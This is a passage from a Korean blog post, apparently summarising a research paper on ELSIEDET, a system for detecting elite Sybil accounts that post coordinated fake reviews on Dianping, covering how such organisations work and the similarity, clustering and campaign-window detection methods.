&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;3)&amp;nbsp;Campaign &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;(C,&amp;nbsp;S,&amp;nbsp;T_s,&amp;nbsp;T_e)&amp;nbsp;=&amp;nbsp;(Community&amp;nbsp;ID,&amp;nbsp;Store&amp;nbsp;ID,&amp;nbsp;start&amp;nbsp;Time,&amp;nbsp;end&amp;nbsp;Time)으로&amp;nbsp;표현되는&amp;nbsp;Campaign은&amp;nbsp;특정&amp;nbsp;community&amp;nbsp;C의&amp;nbsp;사람들이&amp;nbsp;store&amp;nbsp;S에&amp;nbsp;특정&amp;nbsp;시간동안&amp;nbsp;S의&amp;nbsp;prestige를&amp;nbsp;높이기&amp;nbsp;위해&amp;nbsp;리뷰를&amp;nbsp;다는&amp;nbsp;행위를&amp;nbsp;의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;3.2.&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;Users&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;일반적인&amp;nbsp;Sybil&amp;nbsp;user와는&amp;nbsp;다르게&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;user들은&amp;nbsp;작정하고&amp;nbsp;Sybil&amp;nbsp;관련&amp;nbsp;task만&amp;nbsp;수행하는&amp;nbsp;것이&amp;nbsp;아니라,&amp;nbsp;평소에는&amp;nbsp;정상적으로&amp;nbsp;활동하다&amp;nbsp;(금전적인)&amp;nbsp;보상&amp;nbsp;등을&amp;nbsp;위해서&amp;nbsp;일부분&amp;nbsp;Sybil&amp;nbsp;task를&amp;nbsp;수행하는&amp;nbsp;것이다.&amp;nbsp;따라서&amp;nbsp;이를&amp;nbsp;탐지하는&amp;nbsp;것은&amp;nbsp;기술적으로&amp;nbsp;굉장히&amp;nbsp;어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Elite&amp;nbsp;Sybil&amp;nbsp;user는&amp;nbsp;1)&amp;nbsp;Sybil&amp;nbsp;task에&amp;nbsp;속하지&amp;nbsp;않고&amp;nbsp;그냥&amp;nbsp;campaigns를&amp;nbsp;사용하기&amp;nbsp;위해&amp;nbsp;리뷰를&amp;nbsp;올리는&amp;nbsp;사용자와&amp;nbsp;2)&amp;nbsp;정상적인&amp;nbsp;사용자에게&amp;nbsp;속한&amp;nbsp;계정이라&amp;nbsp;account&amp;nbsp;rating이&amp;nbsp;높지만,&amp;nbsp;보상을&amp;nbsp;위해&amp;nbsp;특정&amp;nbsp;campaign의&amp;nbsp;Sybil&amp;nbsp;task&amp;nbsp;를&amp;nbsp;수행하는&amp;nbsp;계정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한&amp;nbsp;여러&amp;nbsp;사용자나&amp;nbsp;조직에&amp;nbsp;의해&amp;nbsp;관리되는&amp;nbsp;Sybil&amp;nbsp;attack과&amp;nbsp;다르게&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;user는&amp;nbsp;sybil&amp;nbsp;leader라&amp;nbsp;불리는&amp;nbsp;특정&amp;nbsp;조직에&amp;nbsp;의해&amp;nbsp;관리된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;3.3.&amp;nbsp;Anatomy&amp;nbsp;of&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;Attack&amp;nbsp;Operations&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;본&amp;nbsp;연구팀에서&amp;nbsp;실제&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;attack을&amp;nbsp;수행하는&amp;nbsp;집단에&amp;nbsp;들어가&amp;nbsp;그들의&amp;nbsp;조직을&amp;nbsp;파악해본&amp;nbsp;결과&amp;nbsp;(그림&amp;nbsp;1)과&amp;nbsp;같은&amp;nbsp;구조로&amp;nbsp;동작하고&amp;nbsp;있음을&amp;nbsp;알아냈다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1011&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mU1dC/btrvl8hl9Es/YgZw31PraZP60ILBCrEte1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mU1dC/btrvl8hl9Es/YgZw31PraZP60ILBCrEte1/img.png&quot; data-alt=&quot;[그림 1] architecture of a Sybil organization&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mU1dC/btrvl8hl9Es/YgZw31PraZP60ILBCrEte1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmU1dC%2Fbtrvl8hl9Es%2FYgZw31PraZP60ILBCrEte1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;222&quot; data-origin-width=&quot;1011&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] architecture of a Sybil organization&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;우선&amp;nbsp;자신의&amp;nbsp;상품의&amp;nbsp;평점이&amp;nbsp;오르길&amp;nbsp;원하는&amp;nbsp;Customers가&amp;nbsp;Agents에게&amp;nbsp;요청하면&amp;nbsp;Agents는&amp;nbsp;여러&amp;nbsp;Leader를&amp;nbsp;통해&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;Accounts를&amp;nbsp;고용하고&amp;nbsp;그들에게&amp;nbsp;보상을&amp;nbsp;주는&amp;nbsp;형태로&amp;nbsp;동작하게&amp;nbsp;된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서&amp;nbsp;Agents는&amp;nbsp;Sybil&amp;nbsp;campagins를&amp;nbsp;생성해내고,&amp;nbsp;실제&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;accounts를&amp;nbsp;고용하고&amp;nbsp;관리하는&amp;nbsp;것은&amp;nbsp;Leader의&amp;nbsp;역할이다. &lt;br /&gt;Elite&amp;nbsp;Sybil&amp;nbsp;attack의&amp;nbsp;work&amp;nbsp;flow&amp;nbsp;는&amp;nbsp;아래&amp;nbsp;[그림&amp;nbsp;2]와&amp;nbsp;같다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1093&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p2bQK/btrvqkgzvmf/uzNLbssWSpmAeshgUybMNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p2bQK/btrvqkgzvmf/uzNLbssWSpmAeshgUybMNk/img.png&quot; data-alt=&quot;[그림 2] workflow of Elite sybil attack&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p2bQK/btrvqkgzvmf/uzNLbssWSpmAeshgUybMNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp2bQK%2Fbtrvqkgzvmf%2FuzNLbssWSpmAeshgUybMNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;221&quot; data-origin-width=&quot;1093&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] workflow of Elite sybil attack&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;work flow는 크게 (a) Leader의 가이드에 맞춰 elite Sybil workers들이 직접 리뷰를 작성하는 Leader-supervised model 와 (b) Leader가 직접 리뷰를 workers에게 주고, workers들이 실제 사이트에 리뷰를 작성하는 Leader hands-on model로 분류할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;실제&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;account를&amp;nbsp;생성하기&amp;nbsp;위해서는&amp;nbsp;account&amp;nbsp;가&amp;nbsp;생성된&amp;nbsp;후&amp;nbsp;성별,&amp;nbsp;생일&amp;nbsp;등의&amp;nbsp;프로필&amp;nbsp;정보를&amp;nbsp;Dianping&amp;nbsp;상에&amp;nbsp;업로드&amp;nbsp;해야하며,&amp;nbsp;정상적이고&amp;nbsp;퀄리티&amp;nbsp;높은&amp;nbsp;리뷰들을&amp;nbsp;여러개&amp;nbsp;작성하여&amp;nbsp;account의&amp;nbsp;rating을&amp;nbsp;올리는&amp;nbsp;작업이&amp;nbsp;선행되어야&amp;nbsp;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4.&amp;nbsp;ELSIEDET:&amp;nbsp;Design&amp;nbsp;and&amp;nbsp;Implementation&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;앞서 말했듯이 ELSIEDET은 크게 3가지 단계로 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) detecting Sybil communities&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) determining campaign time windows&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) detecting elite Sybil users&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;698&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s5ZRC/btrvl8uSyMs/hfhpExZ1mjq54fYUQpwziK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s5ZRC/btrvl8uSyMs/hfhpExZ1mjq54fYUQpwziK/img.png&quot; data-alt=&quot;System overview&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s5ZRC/btrvl8uSyMs/hfhpExZ1mjq54fYUQpwziK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs5ZRC%2Fbtrvl8uSyMs%2FhfhpExZ1mjq54fYUQpwziK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;443&quot; height=&quot;375&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;698&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;System overview&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.1.&amp;nbsp;Sybil&amp;nbsp;community&amp;nbsp;detection&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Sybil&amp;nbsp;community&amp;nbsp;detection은&amp;nbsp;크게&amp;nbsp;3가지&amp;nbsp;단계로&amp;nbsp;구성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;1)&amp;nbsp;Constructing&amp;nbsp;Sybil&amp;nbsp;Social&amp;nbsp;Links&amp;nbsp;via&amp;nbsp;Collusive&amp;nbsp;reviews&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;우선&amp;nbsp;특정&amp;nbsp;community에&amp;nbsp;속한&amp;nbsp;사용자&amp;nbsp;간에&amp;nbsp;Sybil&amp;nbsp;social&amp;nbsp;links를&amp;nbsp;그려야&amp;nbsp;한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다고&amp;nbsp;community에&amp;nbsp;속한&amp;nbsp;모든&amp;nbsp;사용자를&amp;nbsp;다&amp;nbsp;이을수는&amp;nbsp;없고,&amp;nbsp;모든&amp;nbsp;사용자&amp;nbsp;쌍에&amp;nbsp;대하여&amp;nbsp;[그림&amp;nbsp;3]의&amp;nbsp;Sim(u,&amp;nbsp;v)&amp;nbsp;수식을&amp;nbsp;계산하게&amp;nbsp;된다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;353&quot; data-origin-height=&quot;178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Df1mp/btrvrgrr4WJ/Z4BTaIK1azUIUCkHNJbiBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Df1mp/btrvrgrr4WJ/Z4BTaIK1azUIUCkHNJbiBK/img.png&quot; data-alt=&quot;[그림 3] Sim(u, v)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Df1mp/btrvrgrr4WJ/Z4BTaIK1azUIUCkHNJbiBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDf1mp%2Fbtrvrgrr4WJ%2FZ4BTaIK1azUIUCkHNJbiBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;303&quot; height=&quot;153&quot; data-origin-width=&quot;353&quot; data-origin-height=&quot;178&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] Sim(u, v)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;[그림&amp;nbsp;3]에서&amp;nbsp;R(u)&amp;nbsp;=&amp;nbsp;{(U,&amp;nbsp;T1,&amp;nbsp;S1,&amp;nbsp;L1),&amp;nbsp;(U,&amp;nbsp;T2,&amp;nbsp;S2,&amp;nbsp;L2),&amp;nbsp;...,&amp;nbsp;(U,&amp;nbsp;Tn,&amp;nbsp;Sn,&amp;nbsp;Ln)}&amp;nbsp;으로&amp;nbsp;정의되는데,&amp;nbsp;각&amp;nbsp;튜플들은&amp;nbsp;사용자&amp;nbsp;u가&amp;nbsp;작성한&amp;nbsp;리뷰이다.&amp;nbsp;U는&amp;nbsp;UserID,&amp;nbsp;T는&amp;nbsp;리뷰&amp;nbsp;작성&amp;nbsp;시각,&amp;nbsp;S는&amp;nbsp;리뷰&amp;nbsp;작성한&amp;nbsp;StoreID,&amp;nbsp;L은&amp;nbsp;리뷰의&amp;nbsp;rating&amp;nbsp;정보이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;해당&amp;nbsp;R(u)에서&amp;nbsp;두&amp;nbsp;리뷰가&amp;nbsp;같은&amp;nbsp;store에&amp;nbsp;작성되었고,&amp;nbsp;비슷한&amp;nbsp;시간대에&amp;nbsp;작성되었고,&amp;nbsp;별점이&amp;nbsp;1&amp;nbsp;또는&amp;nbsp;5점일&amp;nbsp;경우에만&amp;nbsp;P_u(k)&amp;nbsp;=&amp;nbsp;1&amp;nbsp;을&amp;nbsp;만족하며,&amp;nbsp;나머지&amp;nbsp;경우에는&amp;nbsp;모두&amp;nbsp;0을&amp;nbsp;만족한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이렇게&amp;nbsp;[그림&amp;nbsp;3]과&amp;nbsp;같은&amp;nbsp;수식을&amp;nbsp;통해&amp;nbsp;Similariy를&amp;nbsp;구하고,&amp;nbsp;해당&amp;nbsp;값이&amp;nbsp;threshold&amp;nbsp;값을&amp;nbsp;넘어설&amp;nbsp;경우에,&amp;nbsp;두&amp;nbsp;user간에&amp;nbsp;Sybil&amp;nbsp;social&amp;nbsp;links를&amp;nbsp;그어주며,&amp;nbsp;두&amp;nbsp;user를&amp;nbsp;neighbors&amp;nbsp;라고&amp;nbsp;부르게&amp;nbsp;된다. &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;2)&amp;nbsp;Community&amp;nbsp;Clustering&amp;nbsp;via&amp;nbsp;the&amp;nbsp;Louvain&amp;nbsp;Method&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;다음으로&amp;nbsp;그어진&amp;nbsp;Sybil&amp;nbsp;social&amp;nbsp;links를&amp;nbsp;기반으로&amp;nbsp;Louvain&amp;nbsp;method를&amp;nbsp;통해&amp;nbsp;Community의&amp;nbsp;users들을&amp;nbsp;Clustering&amp;nbsp;하는&amp;nbsp;과정을&amp;nbsp;거친다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;하지만,&amp;nbsp;단순히&amp;nbsp;Louvain-detected&amp;nbsp;communities를&amp;nbsp;통해&amp;nbsp;수많은&amp;nbsp;Sybil&amp;nbsp;users를&amp;nbsp;찾는&amp;nbsp;것은&amp;nbsp;충분치&amp;nbsp;않다고&amp;nbsp;생각이&amp;nbsp;되어,&amp;nbsp;다음&amp;nbsp;단계에서&amp;nbsp;Louvain-detected&amp;nbsp;communities에&amp;nbsp;supervised&amp;nbsp;ML&amp;nbsp;을&amp;nbsp;적용하였다. &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;3)&amp;nbsp;Sybil&amp;nbsp;Community&amp;nbsp;Classification&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;clustering된&amp;nbsp;communities&amp;nbsp;중에서&amp;nbsp;benign&amp;nbsp;과&amp;nbsp;sybils&amp;nbsp;를&amp;nbsp;구별하기&amp;nbsp;위해&amp;nbsp;supervised&amp;nbsp;ML을&amp;nbsp;적용하게&amp;nbsp;된다.&amp;nbsp;해당&amp;nbsp;ML&amp;nbsp;과정에&amp;nbsp;사용되는&amp;nbsp;features는&amp;nbsp;[그림&amp;nbsp;4]와&amp;nbsp;같다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;271&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BntxG/btrvlzrOpIg/rjkVGfJcgQDCZvolE05OOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BntxG/btrvlzrOpIg/rjkVGfJcgQDCZvolE05OOk/img.png&quot; data-alt=&quot;[그림 4] Types of features&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BntxG/btrvlzrOpIg/rjkVGfJcgQDCZvolE05OOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBntxG%2FbtrvlzrOpIg%2FrjkVGfJcgQDCZvolE05OOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;504&quot; height=&quot;152&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;271&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 4] Types of features&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;features는&amp;nbsp;총&amp;nbsp;3가지&amp;nbsp;카테고리에&amp;nbsp;8가지&amp;nbsp;features로&amp;nbsp;구성되어&amp;nbsp;있다. &lt;br /&gt;전체 score의 분산을 나타내는 score deviation은 Sybils일 경우 더 커지게 된다. 또한 Entropy of the number of reviews in each chain stores 값은 발생한 리뷰의 개수를 측정함으로써 얻어질 수 있는, 각 chain store에 포함된 정보량의 기댓값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한&amp;nbsp;sybil&amp;nbsp;community와&amp;nbsp;benign&amp;nbsp;community는&amp;nbsp;[그림&amp;nbsp;5]와&amp;nbsp;같이&amp;nbsp;굉장히&amp;nbsp;다른&amp;nbsp;양상을&amp;nbsp;띄고&amp;nbsp;있기&amp;nbsp;때문에,&amp;nbsp;Average&amp;nbsp;similarity,&amp;nbsp;Global&amp;nbsp;clustering&amp;nbsp;coefficient&amp;nbsp;의&amp;nbsp;features를&amp;nbsp;채택하게&amp;nbsp;되었다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;333&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0ayKb/btrvatlXaoN/FeQbxHNKkWqPekoULkIboK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0ayKb/btrvatlXaoN/FeQbxHNKkWqPekoULkIboK/img.png&quot; data-alt=&quot;[그림 5] Comparison of the graph structure between a benign and Sybil community&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0ayKb/btrvatlXaoN/FeQbxHNKkWqPekoULkIboK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0ayKb%2FbtrvatlXaoN%2FFeQbxHNKkWqPekoULkIboK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;528&quot; height=&quot;198&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;333&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 5] Comparison of the graph structure between a benign and Sybil community&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.2.&amp;nbsp;Campaign&amp;nbsp;Window&amp;nbsp;Detection&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;앞서 찾은 Sybil community 중에서 Sybil Campaign이 실행되는 시간 구역을 나타내는 Campaign Window를 찾기 위해, 리뷰의 rating이 갑자기 증가하는 때를 찾는 burst detection algorithm (예를 들면 Bayesian change point detection algorithm) 을 사용할 수도 있지만, 특정 프로모션 할인과 같은 이벤트때문에 rating이 갑자기 증가할 수도 있기 때문에 해당 방식은 문제가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;본&amp;nbsp;연구팀에서는&amp;nbsp;이를&amp;nbsp;해결하기&amp;nbsp;위해&amp;nbsp;anomaly&amp;nbsp;collaborative&amp;nbsp;behaviors를&amp;nbsp;탐지하는&amp;nbsp;방향으로&amp;nbsp;진행하였다.&amp;nbsp;이를&amp;nbsp;위해&amp;nbsp;Sparse&amp;nbsp;Review&amp;nbsp;Interval을&amp;nbsp;찾아&amp;nbsp;쳐내는&amp;nbsp;방식을&amp;nbsp;채택하였다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉,&amp;nbsp;특정&amp;nbsp;store에&amp;nbsp;달린&amp;nbsp;리뷰를&amp;nbsp;주&amp;nbsp;별로&amp;nbsp;표시한&amp;nbsp;다음,&amp;nbsp;리뷰가&amp;nbsp;거의&amp;nbsp;없는&amp;nbsp;sparse&amp;nbsp;review&amp;nbsp;interval을&amp;nbsp;양&amp;nbsp;옆에서부터&amp;nbsp;잘라내서&amp;nbsp;더이상&amp;nbsp;sparse&amp;nbsp;review&amp;nbsp;interval&amp;nbsp;이&amp;nbsp;없어질&amp;nbsp;때까지&amp;nbsp;반복한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당&amp;nbsp;알고리즘은&amp;nbsp;[그림&amp;nbsp;6]과&amp;nbsp;같으며,&amp;nbsp;[그림&amp;nbsp;7]과&amp;nbsp;같이&amp;nbsp;전체&amp;nbsp;기간을&amp;nbsp;Sparse&amp;nbsp;review&amp;nbsp;interval&amp;nbsp;과&amp;nbsp;Campaign&amp;nbsp;time&amp;nbsp;window로&amp;nbsp;나눌&amp;nbsp;수&amp;nbsp;있게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIbj8d/btrvqcbypeg/GqK1QkOBGeK9dkVx4pzK2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIbj8d/btrvqcbypeg/GqK1QkOBGeK9dkVx4pzK2K/img.png&quot; data-alt=&quot;[그림 6] Detecting Campaign Time Windows algorithm&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIbj8d/btrvqcbypeg/GqK1QkOBGeK9dkVx4pzK2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIbj8d%2Fbtrvqcbypeg%2FGqK1QkOBGeK9dkVx4pzK2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;507&quot; height=&quot;346&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 6] Detecting Campaign Time Windows algorithm&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;426&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wa2Pp/btru9qXg7c1/oiaj076uBsSi4AtACKrfJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wa2Pp/btru9qXg7c1/oiaj076uBsSi4AtACKrfJk/img.png&quot; data-alt=&quot;[그림 7] example of time window detection&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wa2Pp/btru9qXg7c1/oiaj076uBsSi4AtACKrfJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwa2Pp%2Fbtru9qXg7c1%2Foiaj076uBsSi4AtACKrfJk%2Fimg.png&quot; 